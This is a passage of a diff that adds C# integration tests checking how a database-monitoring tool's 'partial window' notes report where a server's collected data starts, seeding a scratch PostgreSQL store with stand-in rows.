+        Assert.StartsWith("partial window: this grid shows only the newest rows, back to " + oldestShown.ToString("yyyy-MM-dd HH:mm", CultureInfo.InvariantCulture) + " UTC", note, StringComparison.Ordinal);
+        Assert.DoesNotContain(added.ToString("yyyy-MM-dd HH:mm", CultureInfo.InvariantCulture), note, StringComparison.Ordinal);
+        Assert.Equal(PageCap, answer["tasks"]!.AsArray().Count);
+
+        /* The capped note's instants as fields (#4966): the oldest row shown, never where the table starts. */
+        Assert.True(Math.Abs((ParseUtc(answer["oldest_shown_utc"]) - oldestShown).TotalSeconds) < 1);
+        Assert.Equal(TimeSpan.FromHours(168), ParseUtc(answer["window_end_utc"]) - ParseUtc(answer["window_start_utc"]));
+        Assert.Null(answer["data_start_utc"]);
+    }
+
+    /// <summary>The same cap over a range the store covered: the server has been collected for a month and its rows
+    /// run six days back (289 at 30 minutes). Nothing is missing from the store, and the grid still stops 14.5
+    /// hours back, so the note is there.</summary>
+    [Fact]
+    public async Task ACappedRead_OverARangeTheStoreCovered_StillNamesTheOldestRowItReturned_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+        await store.SeedAsync(CoveredServerId, CoveredServerName, store.End.AddDays(-30), firstRow: store.End.AddDays(-6), stepMinutes: 30, ct);
+
+        var week = await store.AskAsync(CoveredServerName, hours: 168, ct);
+
+        var oldestShown = store.End.AddMinutes(-(PageCap - 1) * 30);
+        Assert.True(week["truncated"]?.GetValue<bool>());
+        Assert.True(week["window_truncated"]?.GetValue<bool>());
+        Assert.True(Math.Abs((ParseUtc(week["effective_start"]) - oldestShown).TotalSeconds) < 1);
+        Assert.StartsWith("partial window: this grid shows only the newest rows, back to " + oldestShown.ToString("yyyy-MM-dd HH:mm", CultureInfo.InvariantCulture) + " UTC", week["truncation_note"]!.GetValue<string>(), StringComparison.Ordinal);
+    }
+
+    /// <summary>A capped aggregate read keeps today's rule. The latch read keeps its top classes of the whole window,
+    /// so its cap hides no time range: its answer carries the same cap fields, and the note still names where the
+    /// table starts (the server's first collection), not the field's time.</summary>
+    [Fact]
+    public async Task ACappedAggregateRead_KeepsTheCoverageRule_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+        var added = store.End.AddDays(-2);
+        await store.SeedAsync(AggregateServerId, AggregateServerName, added, firstRow: store.End.AddDays(-1), stepMinutes: 60, ct);
+        var oldestShown = store.End.AddMinutes(-(PageCap - 1) * 30);
+        var payload = new JsonObject
+        {
+            ["server"] = AggregateServerName,
+            ["truncated"] = true,
+            ["oldest_returned_collection_time"] = oldestShown.ToString("o", CultureInfo.InvariantCulture),
+            ["latches"] = new JsonArray(new JsonObject { ["latch_class"] = "BUFFER" }),
+        };
+
+        var answered = await WebDataStartNote.AddAsync(
+            store.DataSource, "get_latch_stats", AggregateServerName, 168, null, payload.ToJsonString(), null, ct);
+
+        var answer = Assert.IsType<JsonObject>(JsonNode.Parse(answered));
+        Assert.True(answer["window_truncated"]?.GetValue<bool>());
+        Assert.True(Math.Abs((ParseUtc(answer["effective_start"]) - added).TotalSeconds) < 1, "the table starts at the server's first collection, not at the cap fields' time");
+        Assert.StartsWith("partial window: this panel's data starts at", answer["truncation_note"]!.GetValue<string>(), StringComparison.Ordinal);
+    }
+
+    /// <summary>The Memory Grant Pressure read over its own snapshot table (#4966): a server added two days ago whose
+    /// snapshots start a day back is asked for 7 days, through the real tool, so the note is added to rows the tool
+    /// returned. The data starts between the server's first collection and its first snapshot, as for the other
+    /// snapshot tables; the same server asked for a window its snapshots cover (rows from eight days back) gets none.</summary>
+    [Fact]
+    public async Task TheMemoryGrantsRead_WhoseSnapshotsStartInsideTheRange_GetsANoteNamingWhereItsDataStarts_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+        var added = store.End.AddDays(-2);
+        var firstRow = store.End.AddDays(-1);
+        await store.SeedTableAsync("memory_grant_stats", -496630, "web-data-start-memory-grants", added, firstRow, ct);
+
+        var payload = await DarlingMcpMemoryGrantTools.GetMemoryGrants(store.DataSource, "web-data-start-memory-grants", 168, null, cancellationToken: ct);
+        var answered = await WebDataStartNote.AddAsync(store.DataSource, "get_memory_grants", "web-data-start-memory-grants", 168, null, payload, null, ct);
+
+        var answer = Assert.IsType<JsonObject>(JsonNode.Parse(answered));
+        Assert.NotNull(answer["window"]);
+        Assert.True(answer["window_truncated"]?.GetValue<bool>(), "the tool returned rows and the read gets its note");
+        var start = ParseUtc(answer["effective_start"]);
+        Assert.True(start >= added.AddSeconds(-1) && start <= firstRow.AddSeconds(1), "the data starts between the first collection and the first snapshot, got " + start.ToString("o", CultureInfo.InvariantCulture));
+        Assert.StartsWith("partial window: this panel's data starts at", answer["truncation_note"]!.GetValue<string>(), StringComparison.Ordinal);
+        Assert.Equal(start.Ticks, ParseUtc(answer["data_start_utc"]).Ticks);
+        Assert.Equal(TimeSpan.FromHours(168), ParseUtc(answer["window_end_utc"]) - ParseUtc(answer["window_start_utc"]));
+
+        await store.SeedTableAsync("memory_grant_stats", -496631, "web-data-start-memory-grants-covered", store.End.AddDays(-30), firstRow: store.End.AddDays(-8), ct);
+        var covered = await DarlingMcpMemoryGrantTools.GetMemoryGrants(store.DataSource, "web-data-start-memory-grants-covered", 168, null, cancellationToken: ct);
+        Assert.Same(covered, await WebDataStartNote.AddAsync(store.DataSource, "get_memory_grants", "web-data-start-memory-grants-covered", 168, null, covered, null, ct));
+    }
+
+    /// <summary>What a PostgreSQL grid's answer looks like to the note: rows, with no status, error or floor of its
+    /// own. The note reads the store, not the rows, so a stand-in keeps these two tests on the table each read lists.</summary>
+    private const string StandInRows = "{\"server\":\"pg01\",\"rows\":[{\"n\":1}]}";
+
+    private static readonly string[] PostgresReads =
+        [.. WebDataStartNote.TableByRead.Keys.Where(k => k.StartsWith("get_pg_", StringComparison.Ordinal) && !WebDataStartNote.EventTimeByRead.ContainsKey(k)).OrderBy(k => k, StringComparer.Ordinal)];
+
+    /// <summary>Each of the twenty-three PostgreSQL reads (the configuration changes, the window aggregates, the trend grids, Captured Plans and the vacuum, horizon, slot and write tiles among them, #4966), over its own table, for a server added two days ago whose rows
+    /// start a day back: the data starts inside the 7-day range, so the note is there and names a start between the
+    /// server's first collection and its first row. Which of the two a table reports depends on whether the schedule
+    /// gives it a purge edge (the first collection) or not (the oldest row it holds), so the test holds the bounds the
+    /// two rules share.</summary>
+    [Fact]
+    public async Task EachPostgresRead_WhoseRowsStartInsideTheRange_GetsANoteNamingWhereItsDataStarts_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+        Assert.Equal(23, PostgresReads.Length);
+
+        for (var i = 0; i < PostgresReads.Length; i++)
+        {
+            var read = PostgresReads[i];
+            var name = "web-data-start-" + read.Replace('_', '-');
+            var added = store.End.AddDays(-2);
+            var firstRow = store.End.AddDays(-1);
+            /* The sparse reads are probed on their collector's runs, so their server logs them from the first collection. */
+            await store.SeedTableAsync(
+                WebDataStartNote.TableByRead[read], -496610 - i, name, added, firstRow, ct,
+                runsCollector: WebDataStartNote.CollectorRunsByRead.GetValueOrDefault(read));
+
+            var answered = await WebDataStartNote.AddAsync(store.DataSource, read, name, 168, null, StandInRows, null, ct);
+
+            var answer = Assert.IsType<JsonObject>(JsonNode.Parse(answered));
+            Assert.True(answer["window_truncated"]?.GetValue<bool>(), read + " gives a note");
+            var start = ParseUtc(answer["effective_start"]);
+            Assert.True(start >= added.AddSeconds(-1) && start <= firstRow.AddSeconds(1), read + " names a start between the server's first collection and its first row, got " + start.ToString("o", CultureInfo.InvariantCulture));
+            Assert.StartsWith("partial window: this panel's data starts at " + start.ToString("yyyy-MM-dd HH:mm", CultureInfo.InvariantCulture) + " UTC", answer["truncation_note"]!.GetValue<string>(), StringComparison.Ordinal);
+        }
+    }
+
+    /// <summary>The same twenty-three reads for a server collected for a month whose rows reach back past the 7-day window's
+    /// start (eight days): the store covered the range, so there is no note, over 7 days and over 3. (A quiet start,
+    /// rows that begin late in a covered range, is the Waiting Tasks test above: a table the schedule gives no purge
+    /// edge reports the oldest row it holds, so for those rows that begin late are a late start.)</summary>
+    [Fact]
+    public async Task EachPostgresRead_WhoseRowsReachBackPastTheRange_GetsNoNote_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+
+        for (var i = 0; i < PostgresReads.Length; i++)
+        {
+            var read = PostgresReads[i];
+            var name = "web-data-start-covered-" + read.Replace('_', '-');
+            await store.SeedTableAsync(
+                WebDataStartNote.TableByRead[read], -496620 - i, name, store.End.AddDays(-30), firstRow: store.End.AddDays(-8), ct,
+                runsCollector: WebDataStartNote.CollectorRunsByRead.GetValueOrDefault(read));
+
+            Assert.Same(StandInRows, await WebDataStartNote.AddAsync(store.DataSource, read, name, 168, null, StandInRows, null, ct));
+            Assert.Same(StandInRows, await WebDataStartNote.AddAsync(store.DataSource, read, name, 72, null, StandInRows, null, ct));
+        }
+    }
+
+    /// <summary>The six sparse reads (blocking, session states, replication stats, the xmin horizon holders, the autovacuum backlog and the replication slots) store a row only when something exists,
+    /// so their first row says nothing about when collection began. Each is probed on its collector's own logged runs.</summary>
+    private static readonly (string Read, string Table, string Collector)[] SparseReads =
+    [
+        ("get_pg_blocking", "pg_blocking_edges", "pg_blocking"),
+        ("get_pg_session_states", "pg_session_states", "pg_session_states"),
+        ("get_pg_replication_stats", "pg_replication_stats", "pg_replication_stats"),
+        ("get_pg_xmin_horizon", "pg_xmin_horizon", "pg_xmin_horizon"),
+        ("get_pg_autovacuum_health", "pg_autovacuum_stats", "pg_autovacuum_stats"),
+        ("get_pg_replication_slots", "pg_replication_slot_stats", "pg_replication_slots"),
+    ];
+
+    /// <summary>A server registered 30 days ago whose collector ran all week and stored ONE row a day back (the first blocking chain,
+    /// the first long transaction, the first connected replica, the first horizon holder, the first table behind on vacuum, the first
+    /// slot): the 7-day range was covered, so there is no note. Reading the
+    /// oldest row instead would name yesterday as where the data starts.</summary>
+    [Fact]
+    public async Task ASparseRead_OnAnOldServer_WhoseFirstRowIsADayBack_GetsNoNote_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+
+        for (var i = 0; i < SparseReads.Length; i++)
+        {
+            var (read, table, collector) = SparseReads[i];
+            var name = "web-data-start-sparse-old-" + read.Replace('_', '-');
+            var oneDayBack = store.End.AddDays(-1);
+            await store.SeedTableAsync(table, -496640 - i, name, store.End.AddDays(-30), oneDayBack, ct, runsCollector: collector, lastRow: oneDayBack);
+
+            Assert.Same(StandInRows, await WebDataStartNote.AddAsync(store.DataSource, read, name, 168, null, StandInRows, null, ct));
+        }
+    }
+
+    /// <summary>The other side: a server registered two days ago, its collector running since, has a 7-day range it cannot cover.</summary>
+    [Fact]
+    public async Task ASparseRead_OnAServerRegisteredTwoDaysAgo_GetsANote_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+
+        for (var i = 0; i < SparseReads.Length; i++)
+        {
+            var (read, table, collector) = SparseReads[i];
+            var name = "web-data-start-sparse-new-" + read.Replace('_', '-');
+            var added = store.End.AddDays(-2);
+            var oneDayBack = store.End.AddDays(-1);
+            await store.SeedTableAsync(table, -496650 - i, name, added, oneDayBack, ct, runsCollector: collector, lastRow: oneDayBack);
+
+            var answer = Assert.IsType<JsonObject>(JsonNode.Parse(await WebDataStartNote.AddAsync(store.DataSource, read, name, 168, null, StandInRows, null, ct)));
+            Assert.True(answer["window_truncated"]?.GetValue<bool>(), read + " gives a note");
+            var start = ParseUtc(answer["effective_start"]);
+            Assert.True(start >= added.AddSeconds(-1) && start <= added.AddHours(1), read + " names the first collection, not its first row, got " + start.ToString("o", CultureInfo.InvariantCulture));
+        }
+    }
+
+    /// <summary>Each event read: table, the column that holds the event's own time, and the tool's rows key.</summary>
+    private static readonly (string Read, string Table, string EventColumn)[] EventReads =
+    [
+        ("get_blocked_process_xml", "blocked_process_reports", "event_time"),
+        ("get_long_query_completions", "long_query_completions", "event_time"),
+        ("get_memory_pressure_events", "memory_pressure_events", "sample_time"),
+        ("get_default_trace_events", "default_trace_events", "event_time"),
+
+        /* PostgreSQL event logs, Blocking and Deadlocks (#4966). */
+        ("get_pg_deadlocks", "pg_deadlocks", "occurred_at"),
+        ("get_pg_log_events", "pg_log_events", "occurred_at"),
+        ("get_blocking", "blocked_process_reports", "event_time"),
+        ("get_deadlocks", "deadlocks", "deadlock_time"),
+        ("get_deadlock_detail", "deadlocks", "deadlock_time"),
+    ];
+
+    /// <summary>A server added two days ago whose stored events carry times from before it (a first collection stores the
+    /// server's event history): over 7 days the note names the earliest event shown, which is earlier than the coverage start
+    /// and still after the window's start.</summary>
+    [Fact]
+    public async Task AnEventRead_WhoseHistoryReachesBeforeCoverage_NamesTheEarliestEvent_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+        var added = store.End.AddDays(-2);
+
+        for (var i = 0; i < EventReads.Length; i++)
+        {
+            var (read, table, column) = EventReads[i];
+            var name = "web-data-start-event-history-" + read.Replace('_', '-');
+            await store.SeedTableAsync(table, -496700 - i, name, added, added, ct, eventColumn: column, eventShift: TimeSpan.FromDays(2), extraSet: ExtraSet(table));
+
+            var answer = await store.AskEventReadAsync(read, name, 168, ct);
+
+            Assert.True(answer["window_truncated"]?.GetValue<bool>(), read + " gives a note");
+            var start = ParseUtc(answer["effective_start"]);
+            var earliestEvent = added.AddDays(-2);
+            Assert.True(Math.Abs((start - earliestEvent).TotalSeconds) < 1, read + " names the earliest event, got " + start.ToString("o", CultureInfo.InvariantCulture) + " vs " + earliestEvent.ToString("o", CultureInfo.InvariantCulture) + " " + answer.ToJsonString()[..Math.Min(500, answer.ToJsonString().Length)]);
+            Assert.Equal(start.Ticks, ParseUtc(answer["data_start_utc"]).Ticks);
+            Assert.StartsWith("partial window:", answer["truncation_note"]!.GetValue<string>(), StringComparison.Ordinal);
+        }
+    }
+
+    /// <summary>The same server whose events reach the window's start: the page shows the whole range, so there is no note.</summary>
+    [Fact]
+    public async Task AnEventRead_WhoseHistoryReachesTheWindowsStart_GetsNoNote_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+        var added = store.End.AddDays(-2);
+
+        for (var i = 0; i < EventReads.Length; i++)
+        {
+            var (read, table, column) = EventReads[i];
+            var name = "web-data-start-event-reaches-" + read.Replace('_', '-');
+            await store.SeedTableAsync(table, -496710 - i, name, added, added, ct, eventColumn: column, eventShift: TimeSpan.FromDays(5.5), extraSet: ExtraSet(table));
+
+            var answer = await store.AskEventReadAsync(read, name, 168, ct);
+
+            Assert.NotEqual(true, answer["window_truncated"]?.GetValue<bool>());
+            Assert.Null(answer["data_start_utc"]);
+            Assert.Null(answer["effective_start"]);
+            Assert.Null(answer["truncation_note"]);
+        }
+    }
+
+    /// <summary>Two of the nine system_health reads over one seeded <c>system_health_events</c> table (a server per read, every row the
+    /// read's own event type): history reaching back before coverage names the earliest event; history reaching the window's start
+    /// gives no note.</summary>
+    [Theory]
+    [InlineData(-496730, 2.0, true)]
+    [InlineData(-496740, 5.5, false)]
+    public async Task TheSystemHealthReads_FollowTheEventTimeRule_AgainstDevPostgres(int serverId, double shiftDays, bool expectNote)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+        var added = store.End.AddDays(-2);
+
+        var reads = new[] { ("get_health_parser_severe_errors", SystemHealthParser.ErrorReportedEvent, "error_reported.xml"), ("get_health_parser_system_health", SystemHealthParser.SpServerDiagnosticsEvent, "sp_server_diagnostics_system.xml") };
+        for (var i = 0; i < reads.Length; i++)
+        {
+            var (read, eventType, fixture) = reads[i];
+            var name = "web-data-start-health-" + (expectNote ? "before-" : "reaches-") + i;
+            await store.SeedTableAsync("system_health_events", serverId - 100 * (i + 1), name, added, added, ct, eventColumn: "event_time", eventShift: TimeSpan.FromDays(shiftDays));
+            await store.GiveHealthRowsTheirXmlAsync(serverId - 100 * (i + 1), eventType, fixture, ct);
+
+            var answer = await store.AskHealthReadAsync(read, name, 168, ct);
+            if (!expectNote)
+            {
+                Assert.NotEqual(true, answer["window_truncated"]?.GetValue<bool>());
+                Assert.Null(answer["data_start_utc"]);
+                continue;
+            }
+
+            Assert.True(answer["window_truncated"]?.GetValue<bool>(), read + " gives a note");
+            var earliestEvent = added.AddDays(-2);
+            Assert.True(Math.Abs((ParseUtc(answer["effective_start"]) - earliestEvent).TotalSeconds) < 1, read + " names the earliest event");
+            Assert.StartsWith("partial window:", answer["truncation_note"]!.GetValue<string>(), StringComparison.Ordinal);
+        }
+    }
+
+    /// <summary>The composite probe, proved: the XE table starts late inside the window (the page shows only XE rows), while the DMV
+    /// snapshots reach back from before the window. The earlier start covers the window, so there is NO note; a probe of the XE table
+    /// alone would name the late start and add one.</summary>
+    [Fact]
+    public async Task GetBlocking_WhenTheDmvSnapshotsCoverTheWindowButTheXeRowsStartLate_GivesNoNote_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+        const string server = "web-data-start-blocking-composite";
+
+        /* DMV: hourly snapshots from 10 days back to the window end, so they cover the 7-day window from before its start. */
+        await store.SeedTableAsync("dmv_blocking_snapshots", -496732, server, store.End.AddDays(-10), store.End.AddDays(-10), ct);
+        /* XE: starts one day back, late inside the window; these are the rows the page shows. */
+        await store.SeedTableAsync("blocked_process_reports", -496732, server, store.End.AddDays(-1), store.End.AddDays(-1), ct, eventColumn: "event_time", extraSet: ExtraSet("blocked_process_reports"));
+
+        var answer = await store.AskEventReadAsync("get_blocking", server, 168, ct);
+        Assert.True(answer["events_returned"]?.GetValue<int>() > 0, "the page shows the XE rows");
+        Assert.True(answer["window_truncated"] is null, "the DMV snapshots cover the window, so no note: " + answer["truncation_note"]);
+        Assert.Null(answer["truncation_note"]);
+    }
+
+    /// <summary>Each single-table server still gets the note from its own table's start (does not by itself prove the composite).</summary>
+    [Fact]
+    public async Task GetBlocking_OnRowsFromOneTableOnly_NamesThatTablesStart_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+        var added = store.End.AddDays(-2);
+
+        await store.SeedTableAsync("dmv_blocking_snapshots", -496730, "web-data-start-blocking-dmv-only", added, added, ct);
+        var dmv = await store.AskEventReadAsync("get_blocking", "web-data-start-blocking-dmv-only", 168, ct);
+        Assert.True(dmv["window_truncated"]?.GetValue<bool>(), "the DMV-only server gives a note");
+        Assert.True(Math.Abs((ParseUtc(dmv["effective_start"]) - added).TotalSeconds) < 1, "names the DMV table's start");
+
+        await store.SeedTableAsync("blocked_process_reports", -496731, "web-data-start-blocking-xe-only", added, added, ct, extraSet: ExtraSet("blocked_process_reports"));
+        var xe = await store.AskEventReadAsync("get_blocking", "web-data-start-blocking-xe-only", 168, ct);
+        Assert.True(xe["window_truncated"]?.GetValue<bool>(), "the XE-only server gives a note");
+        Assert.True(Math.Abs((ParseUtc(xe["effective_start"]) - added).TotalSeconds) < 1, "names the XE table's start");
+    }
+
+    /* The Blocked Process Reports read counts only rows that carry a report; the stand-in seed leaves that column null. */
+    private static string? ExtraSet(string table) => table switch
+    {
+        "blocked_process_reports" => "blocked_process_report_xml = '<blocked-process-report/>'",
+        "deadlocks" => "deadlock_graph_xml = '<deadlock/>'",
+        "pg_deadlocks" => "deadlock_hash = 'x'",
+        "pg_log_events" => "raw_line_hash = 'x', severity = 'ERROR', family = 'error'",
+        _ => null,
+    };
+
+    private sealed class Store : IAsyncDisposable
+    {
+        private readonly ScratchPostgres _scratch;
+
+        private Store(ScratchPostgres scratch, NpgsqlDataSource dataSource, DateTime end)
+        {
+            _scratch = scratch;
+            DataSource = dataSource;
+            End = end;
+        }
+
+        public NpgsqlDataSource DataSource { get; }
+
+        /// <summary>The minute the seeded history ends at, naive UTC.</summary>
+        public DateTime End { get; }
+
+        public static async Task<Store> CreateAsync(CancellationToken ct)
+        {
+            var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+            Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+                "Set DARLING_TEST_PG to a Postgres connection string to run the live data-start tests.");
+
+            var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+            try
+            {
+                await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+                await connection.OpenAsync(ct);
+                await PgMigrations.MigrateAsync(connection, ct);
+
+                var now = DateTime.UtcNow;
+                var end = new DateTime(now.Year, now.Month, now.Day, now.Hour, now.Minute, 0, DateTimeKind.Utc);
+                return new Store(scratch, NpgsqlDataSource.Create(scratch.ConnectionString), end);
+            }
+            catch
+            {
+                await scratch.DisposeAsync();
+                throw;
+            }
+        }
+
+        /// <summary>A server first collected at <paramref name="added"/> whose waiting tasks run from
+        /// <paramref name="firstRow"/> to the end, one every <paramref name="stepMinutes"/> minutes; the waiting-task and
+        /// latch collectors' runs are logged every 30 minutes from the first collection, whether or not anything
+        /// waited.</summary>
+        public async Task SeedAsync(int serverId, string serverName, DateTime added, DateTime firstRow, int stepMinutes, CancellationToken ct)
+        {
+            await using var connection = await DataSource.OpenConnectionAsync(ct);
+            await DarlingMcpTestData.RegisterServerAsync(connection, serverId, serverName, ct);
+
+            await using (var update = new NpgsqlCommand("UPDATE collect.servers SET created_date = $2 WHERE server_id = $1", connection))
+            {
+                update.Parameters.AddWithValue(serverId);
+                update.Parameters.AddWithValue(DateTime.SpecifyKind(added, DateTimeKind.Unspecified));
+                await update.ExecuteNonQueryAsync(ct);
+            }
+
+            await using (var log = new NpgsqlCommand(@"
+INSERT INTO collect.collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+SELECT row_number() OVER (), $1, $2, c.name, t, 12, 'SUCCESS', 0
+FROM generate_series($3::timestamp, $4::timestamp, interval '30 minutes') AS t
+CROSS JOIN (VALUES ('waiting_tasks'), ('latch_stats')) AS c(name)", connection))
+            {
+                log.Parameters.AddWithValue(serverId);
+                log.Parameters.AddWithValue(serverName);
+                log.Parameters.AddWithValue(DateTime.SpecifyKind(added, DateTimeKind.Unspecified));
+                log.Parameters.AddWithValue(DateTime.SpecifyKind(End, DateTimeKind.Unspecified));
+                await log.ExecuteNonQueryAsync(ct);
+            }
+
+            await using var insert = new NpgsqlCommand(@"
+INSERT INTO collect.waiting_tasks (collection_id, collection_time, server_id, server_name, wait_type, wait_duration_ms, database_name)
+SELECT row_number() OVER (), t, $1, $2, 'LCK_M_X', 250, 'WebDb'
+FROM generate_series($3::timestamp, $4::timestamp, make_interval(mins => $5)) AS t", connection);
+            insert.Parameters.AddWithValue(serverId);
+            insert.Parameters.AddWithValue(serverName);
+            insert.Parameters.AddWithValue(DateTime.SpecifyKind(firstRow, DateTimeKind.Unspecified));
+            insert.Parameters.AddWithValue(DateTime.SpecifyKind(End, DateTimeKind.Unspecified));
+            insert.Parameters.AddWithValue(stepMinutes);
+            await insert.ExecuteNonQueryAsync(ct);
+        }
+
+        /// <summary>A server first collected at <paramref name="added"/> with one row an hour in <paramref name="table"/>
+        /// from <paramref name="firstRow"/> to the end. Each column the table requires is filled with a stand-in by type:
+        /// the note reads only that the server holds a row at a time.</summary>
+        public async Task SeedTableAsync(
+            string table, int serverId, string serverName, DateTime added, DateTime firstRow, CancellationToken ct,
+            string? runsCollector = null, DateTime? lastRow = null, string? eventColumn = null, TimeSpan? eventShift = null, string? extraSet = null)
+        {
+            await using var connection = await DataSource.OpenConnectionAsync(ct);
+            await DarlingMcpTestData.RegisterServerAsync(connection, serverId, serverName, ct);
+
+            await using (var update = new NpgsqlCommand("UPDATE collect.servers SET created_date = $2 WHERE server_id = $1", connection))
+            {
+                update.Parameters.AddWithValue(serverId);
+                update.Parameters.AddWithValue(DateTime.SpecifyKind(added, DateTimeKind.Unspecified));
+                await update.ExecuteNonQueryAsync(ct);
+            }
+
+            if (runsCollector is not null)
+            {
+                /* The collector's runs, logged every 30 minutes from the first collection to the end, whether or not a run stored a row. */
+                await using var log = new NpgsqlCommand(@"
+INSERT INTO collect.collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+SELECT $1::bigint * 1000000 + row_number() OVER (), $1, $2, $5, t, 12, 'SUCCESS', 0
+FROM generate_series($3::timestamp, $4::timestamp, interval '30 minutes') AS t", connection);
+                log.Parameters.AddWithValue(serverId);
+                log.Parameters.AddWithValue(serverName);
+                log.Parameters.AddWithValue(DateTime.SpecifyKind(added, DateTimeKind.Unspecified));
+                log.Parameters.AddWithValue(DateTime.SpecifyKind(End, DateTimeKind.Unspecified));
+                log.Parameters.AddWithValue(runsCollector);
+                await log.ExecuteNonQueryAsync(ct);
+            }
+
+            var time = CollectorCatalog.All.First(c => c.TargetTable == table).PrefixTimeColumnName;
+            var columns = new List<string>();
+            var values = new List<string>();
+            await using (var required = new NpgsqlCommand(@"
+SELECT column_name, data_type
+FROM information_schema.columns
+WHERE table_schema = 'collect' AND table_name = $1 AND is_nullable = 'NO' AND column_default IS NULL AND is_generated = 'NEVER'
+ORDER BY ordinal_position", connection))
+            {
+                required.Parameters.AddWithValue(table);
+                await using var reader = await required.ExecuteReaderAsync(ct);
+                while (await reader.ReadAsync(ct))
+                {
+                    var column = reader.GetString(0);
+                    var type = reader.GetString(1);
+                    columns.Add(column);
+                    values.Add(column == time ? "t"
+                        : column == "server_id" ? serverId.ToString(CultureInfo.InvariantCulture)
+                        : column == "server_name" ? "'" + serverName + "'"
+                        : column == "collection_id" ? "row_number() OVER ()"
+                        : type switch
+                        {
+                            "integer" or "bigint" or "smallint" or "numeric" or "double precision" or "real" => "1",
+                            "boolean" => "false",
+                            "text" or "character varying" or "character" => "'x'",
+                            "timestamp without time zone" => "t",
+                            "timestamp with time zone" => "t::timestamptz",
+                            "json" or "jsonb" => "'{}'",
+                            "ARRAY" => "'{}'",
+                            _ => throw new NotSupportedException(table + "." + column + " is " + type + ", which this stand-in seed does not fill"),
+                        });
+                }
+            }
+
+            await using var insert = new NpgsqlCommand(
+                "INSERT INTO collect." + table + " (" + string.Join(", ", columns) + ") SELECT " + string.Join(", ", values)
+                + " FROM generate_series($1::timestamp, $2::timestamp, interval '60 minutes') AS t", connection);
+            insert.Parameters.AddWithValue(DateTime.SpecifyKind(firstRow, DateTimeKind.Unspecified));
+            insert.Parameters.AddWithValue(DateTime.SpecifyKind(lastRow ?? End, DateTimeKind.Unspecified));
+            await insert.ExecuteNonQueryAsync(ct);
+
+            /* An event carries its own time, apart from the collection that stored it: stamp each row's event column that far
+               before its collection_time, as a first collection stores the server's event history. */
+            if (eventColumn is not null)
+            {
+                await using var stamp = new NpgsqlCommand(
+                    "UPDATE collect." + table + " SET " + eventColumn + " = " + time + " - make_interval(secs => $2)" + (extraSet is null ? "" : ", " + extraSet) + " WHERE server_id = $1", connection);
+                stamp.Parameters.AddWithValue(serverId);
+                stamp.Parameters.AddWithValue((eventShift ?? TimeSpan.Zero).TotalSeconds);
+                await stamp.ExecuteNonQueryAsync(ct);
+            }
+        }
+
+        /// <summary>The tool's own payload for an event read over a window, then the data-start note: what the web mirror answers.</summary>
+        public async Task<JsonObject> AskEventReadAsync(string read, string server, int hours, CancellationToken ct)
+        {
+            var payload = read switch
+            {
+                "get_blocked_process_xml" => await DarlingMcpBlockingTools.GetBlockedProcessXml(DataSource, server_name: server, hours_back: hours, limit: 100, cancellationToken: ct),
+                "get_long_query_completions" => await DarlingMcpLongQueryTools.GetLongQueryCompletions(DataSource, server_name: server, hours_back: hours, limit: 100, cancellationToken: ct),
+                "get_memory_pressure_events" => await DarlingMcpMemoryGrantTools.GetMemoryPressureEvents(DataSource, server_name: server, hours_back: hours, cancellationToken: ct),
+                "get_default_trace_events" => await DarlingMcpDefaultTraceTools.GetDefaultTraceEvents(DataSource, server_name: server, hours_back: hours, limit: 100, cancellationToken: ct),
+                "get_pg_deadlocks" => await DarlingMcpPgDeadlockTools.GetPgDeadlocks(DataSource, server_name: server, hours_back: hours, limit: 100, cancellationToken: ct),
+                "get_pg_log_events" => await DarlingMcpPgLogEventTools.GetPgLogEvents(DataSource, server_name: server, hours_back: hours, limit: 100, cancellationToken: ct),
+                "get_blocking" => await DarlingMcpBlockingTools.GetBlocking(DataSource, server_name: server, hours_back: hours, limit: 100, cancellationToken: ct),
+                "get_deadlocks" => await DarlingMcpBlockingTools.GetDeadlocks(DataSource, server_name: server, hours_back: hours, limit: 100, cancellationToken: ct),
+                "get_deadlock_detail" => await DarlingMcpBlockingTools.GetDeadlockDetail(DataSource, server_name: server, hours_back: hours, limit: 100, cancellationToken: ct),
+                _ => throw new ArgumentOutOfRangeException(nameof(read), read, "not an event read"),
+            };
+            var answered = await WebDataStartNote.AddAsync(DataSource, read, server, hours, null, payload, null, ct);
+            return Assert.IsType<JsonObject>(JsonNode.Parse(answered));
+        }
+
+        /// <summary>The stand-in seed leaves each row's event type and XML blank: make every row one event of this type, stamped with
+        /// the row's own event time as a real capture has it.</summary>
+        public async Task GiveHealthRowsTheirXmlAsync(int serverId, string eventType, string fixture, CancellationToken ct)
+        {
+            var xml = await System.IO.File.ReadAllTextAsync(System.IO.Path.Combine(AppContext.BaseDirectory, "Fixtures", "SystemHealth", fixture), ct);
+            await using var connection = await DataSource.OpenConnectionAsync(ct);
+            await using var update = new NpgsqlCommand(@"
+UPDATE collect.system_health_events
